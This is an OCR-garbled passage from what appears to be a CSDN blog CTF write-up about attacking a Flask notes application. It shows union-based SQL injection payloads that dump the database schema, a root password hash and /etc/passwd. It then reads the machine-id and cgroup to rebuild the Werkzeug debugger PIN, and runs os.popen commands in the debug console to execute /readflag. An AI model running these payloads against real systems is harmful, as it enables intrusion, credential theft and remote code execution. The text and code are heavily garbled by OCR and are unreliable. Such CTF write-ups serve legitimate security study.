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1. -4
2. app.pyiit
3. &mac
4. i¥:/etc/machine-id
5. Bt/proc/selficgroup
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sqlalchemy. exc. Programmingfrror: (pymysql. err. Progranmingfrror) (1064, “You have an error in your SOL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near sel’’ at line 17)
[S0L: select * from notes where note_id=" OongiZ2cB2f j405747ouinhlna05%cx8 union sel’ ]
(Background on this error at: https://sqlalche. me/e/14/£405)
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27union%20@select’%201,2,3,4,5;%23

4 5 Hi



https://blog.csdn.net/RABCDXB
https://blog.csdn.net/rabcdxb/category_11378379.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=Web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/RABCDXB/article/details/124244296
https://blog.csdn.net/rabcdxb/category_11378379.html

Notes

Check notes!
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27union%2@select%201,2,3,version(),version() ;%23

Notes

Check notes!

5.6.51

5.6.51
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27union%2@select%201,2,3,version(),database() ;%23



Notes

Check notes!

ctf
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27union%20@select%201,2,3,version(), (select%20group_concat(table_name)%20from’%20information_schema.tables) ;%23

EREAE AR, MBATRMREE K, finotes?®, IESE XAl

CHARACTER_SETS, COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,G
LOBAL_STATUS, GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_ TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILI
NG, REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_ PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS, TABLE
S, TABLESPACES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, TRIGGERS,USER_PRIVILEGES,VIEWS, INNODB_LOCKS, INNODB_TRX,INNODB_S
S_DATAFILES, INNODB_LOCK_WAITS, INNODB_SYS_TABLESTATS,INNODB_CMP,INNODB_METRICS,INNODB_CMP_RESET, INNODB_CMP_PER_TI
NDEX, INNODB_CMPMEM_RESET, INNODB_FT_DELETED, INNODB_BUFFER_PAGE_LRU, INNODB_SYS_FOREIGN, INNODB_SYS_COLUMNS, INNODB_S
S_INDEXES, INNODB_FT_DEFAULT_STOPWORD, INNODB_SYS_FIELDS, INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE, INNODB_CMP|
MEM, INNODB_FT_INDEX_TABLE,INNODB_FT_BEING_DELETED,INNODB_SYS_TABLESPACES, INNODB_FT_INDEX_ CACHE,INNODB_SYS_FOREIG
N_COLS, INNODB_SYS_TABLES, INNODB_BUFFER_POOL_STATS, INNODB_FT_CONFIG, notes,users

A Husers

27union%2@select%201,2,3,version(), (select%20group_concat(column_name)%20from%20information_schema.columns%20wh
ere’%20table name=%27users%27) ;%23
G

id,username, password

71 % usernameflpassword



Notes

Check notes!

root:202cb962ac59075b964b07152d234b70

5.6.51

27union%2@select%201,2,3,version select%20group_concat(username,®x3a,password)%20from%20users

root :202cb962ac59075b964b67152d234b70
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1. 4

union%2@select%201,2,3,4, (select%20group_concat(name)%20from%20ctf.aaa 23

Notes

Check notes!

root:x:0:0:root:/root:/bin/bash,daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin,bin:x:2:2:bin:/bin:/u
data:x:33:33:www-
data:/var/www:/usr/sbin/nologin,backup:x:34:34:backup:/var/backups:/usr/sbin/nologin,list:x:38:38:
List Manager:/var/list:/usr/sbin/nologin,irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin,gnats:x:41:41:Gn
Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin,nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nolc
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2. app.py# 15



The above exception was the direct cause of the following except

F

e " fusr/local/lib/python3.8/site-packages/flask/app.py", Iiie 2095, in _«
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File "/usr/local/lib/python3.8/site-packages/flask/app.py”, line 2080, in wsg

resnrmsr = =alf.handle evcentimial

3. iZmac

union select 1,2,3,4,(select group_concat(name) from ctf.bbb) ;%23

Notes

Check notes!

02:42:ac:1f:00:03

4

Fmacthht L4 5, AR5 TEpythonhit 47464k

02:42:c0:28:90:03

print(int(
2485723369475

4. iizletc/machine-id

union select 1,2,3,4,(select GROUP_CONCAT(name) from ctf.machine)%23

1cc402ddelld5ael8dbo4a6de87223d



Notes

Check notes!

1cc402dd0el11d5ae18db04a6de87223d
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5. iz/proc/self/cgroup

union select 1,2,3,4,(select group_concat(name) from ctf.cc 23

Notes

Check notes!

2:devices:/docker/9cfbffddcaSae8bd5f82dad5b7b30f43bc41fcde7cf41bdfa213e96595e05ff7

9cfbff4dca5ae8bd5+82dad5b7b30f43bc4lfcde7cf41bdfa213e96595e05FF7
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1. md5—>sha1

2. letc/machine-id+/proc/selficgroup fijid, — &%

import hashlib
from itertools import chain

probably public bits [

h hashlib.shal()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if (bit,
bit bit.encode(
h.update(bit)
h.update(

cookie_name h.hexdigest()[:20]

num None
if num is None:
h.update( )
(h.hexdigest(), 16))[:9]

for group_size in 5, 4, 3:
if (num) group_size 0:
rv .join(num[x:x + group_size].rjust(group_size,
for x in (0, (num), group_size))
break

Ui IA] http://121.37.153.47:5002/console#

mApin, S Aostith, EEWHZ, Z1r/readflag

).read()
).read()




»»» os.popenl’ 1s -1 /). read()
"total 92\ndrwxr-xr-x 1 ctf ctf 4098 Apr 17 13:30 app'\ndresr-zr-x 1 root root 4096 Mar 1 08:27 bin\ndrexr-zr-x 2 root root 4098 Dec 11 17:25 booti\ndrexr

root root 4096 Apr 17 13:30 etcinr-x-———— 1 root root 33 Apr 16 01:35 flag_cantgusssit\ndrwsr-zr-x 1 root root 4098 Apr 16 01:41 home'\ndresr-xr-x 1 roc
Feb 28 00:00 lik6d\ndrexr-xr-x 2 root root 4098 Feb 28 00:00 media‘ndrwxr-xzr-x 2 root root 4098 Feb 28 00:00 mntindrwzr-zr-xz 2 root root 4096 Feb 28 00:00
Ar-x 1 root root 16856 Apr 16 01:35 readflagindrwx---—-—-- 1 root root 4096 Apr 16 01:41 rootyndrexr-xr-x 3 root root 4086 Feb 28 00:00 run‘\ndresr-xr-x 1rc
4096 Feb 28 00:00 srv\ndr-xr-xr-x 13 root root 0 Apr 16 07:34 sys\ndrexrexret 1 root root 4096 Apr 16 01:41 tmpi\ndrexr-xr-x 1 root root 4096 Fek 28 00:0(
>y os.popen(’ 1s /7). read(}

" appinbininboot\ndevinetcinflag_cantguessitinhome\nlibinlib64\nmedia'n : =

»»» os.popenl freadflag’ ). read()
“#ctf {exploit_lpdate_with_Version)’
v CSDMN @Skly
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